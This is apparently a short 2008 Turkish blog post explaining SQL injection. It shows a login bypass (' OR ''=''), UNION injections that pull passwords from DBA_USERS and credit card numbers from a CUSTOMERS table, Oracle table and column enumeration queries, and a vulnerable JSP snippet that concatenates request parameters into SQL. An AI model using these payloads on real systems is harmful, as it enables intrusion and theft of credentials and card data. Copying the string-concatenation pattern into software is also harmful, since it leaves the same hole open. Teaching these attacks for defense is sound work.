6.06.2008

SQL Injection Nedir ve örnekler.

Web uygulamalarında bir çok işlem için kullanıcıdan alınan veri ile dinamik SQL cümlecikleri oluşturulur.
SELECT * FROM employees .bu sorgu veritabınından bütün çalışanları döndürecektir.
Bu SQL komutunu oluşturulurken araya sıkıştırılan herhangi bir meta-karakter SQL Injection’ a neden olabilir.

SQL’ için önemli metakarakter (‘) tek tırnak’ tır. Çünkü iki tek tırnağın arası string olarak algılanır.

Genel bir web uygulamasında olası bir üye girişi işlemi formdan gelen kullanıcı adı ve şifre bilgisi ile ilgili SQL komutu oluşturulur
(SELECT * FROM employees WHERE user=’admin’ AND password=’sifre’ gibi)
SQL komutu kayıt döndürüyorsa böyle bir kullanıcının var olduğu anlamına gelir ve session açılır ve ilgili kullanıcı giriş yapmış olur.
Eğer veritabanından kayıt dönmediyse "kullanıcı bulunamadı" veya "şifre yanlış" gibi bir hata mesajı geri döndürülücekti.

SELECT * FROM employees WHERE user = '' OR ''='' AND Password = '' OR ''=''
anlaşıldığı üzere bu SQL sorgusu her zaman doğru dönecek ve çalışan tablosundaki tüm çalışanları getirecektir.

Birkaç örnek daha inceleyelim.

Select * from my_table where column_x = ‘1’

Select * from my_table where column_x = ‘1’ UNION select password from DBA_USERS where ‘q’=‘q’

bir jsp örneği
Package myseverlets;
<….>
String sql = new String(“SELECT * FROM WebUsers WHERE Username=’” + request.getParameter(“username”) + “’ AND Password=’” + request.getParameter(“password”) + “’”
stmt = Conn.prepareStatement(sql)
Rs = stmt.executeQuery()

SELECT * FROM WebUsers WHERE Username=’zekeriya’ AND Password=’çokzorpassword’

yerine

SELECT * FROM WebUsers WHERE Username=’zekeriya’ AND Password=’çokzorpassword’ OR ‘A’=‘A’ yazarsak olay bitmiş demektir. bu query her halikarda true döndürür.


Altaki örnek çok kolay bir şekilde kredi kart bilgilerine ulaşabileceğimiz durumuz gelebilir.

SELECT ProductName FROM Products
WHERE ProductCategory=’test’ UNION
select credit_card_number from
CUSTOMERS where ‘a’=‘a'

Bu iki sql komutunu union ile birleştirirsek

• Tabloların listesi
• UNION select object_name from sys.all_objects;
• Kolanların Listesi
• UNION select column_name from sys.all_tab_columns

Hiç yorum yok: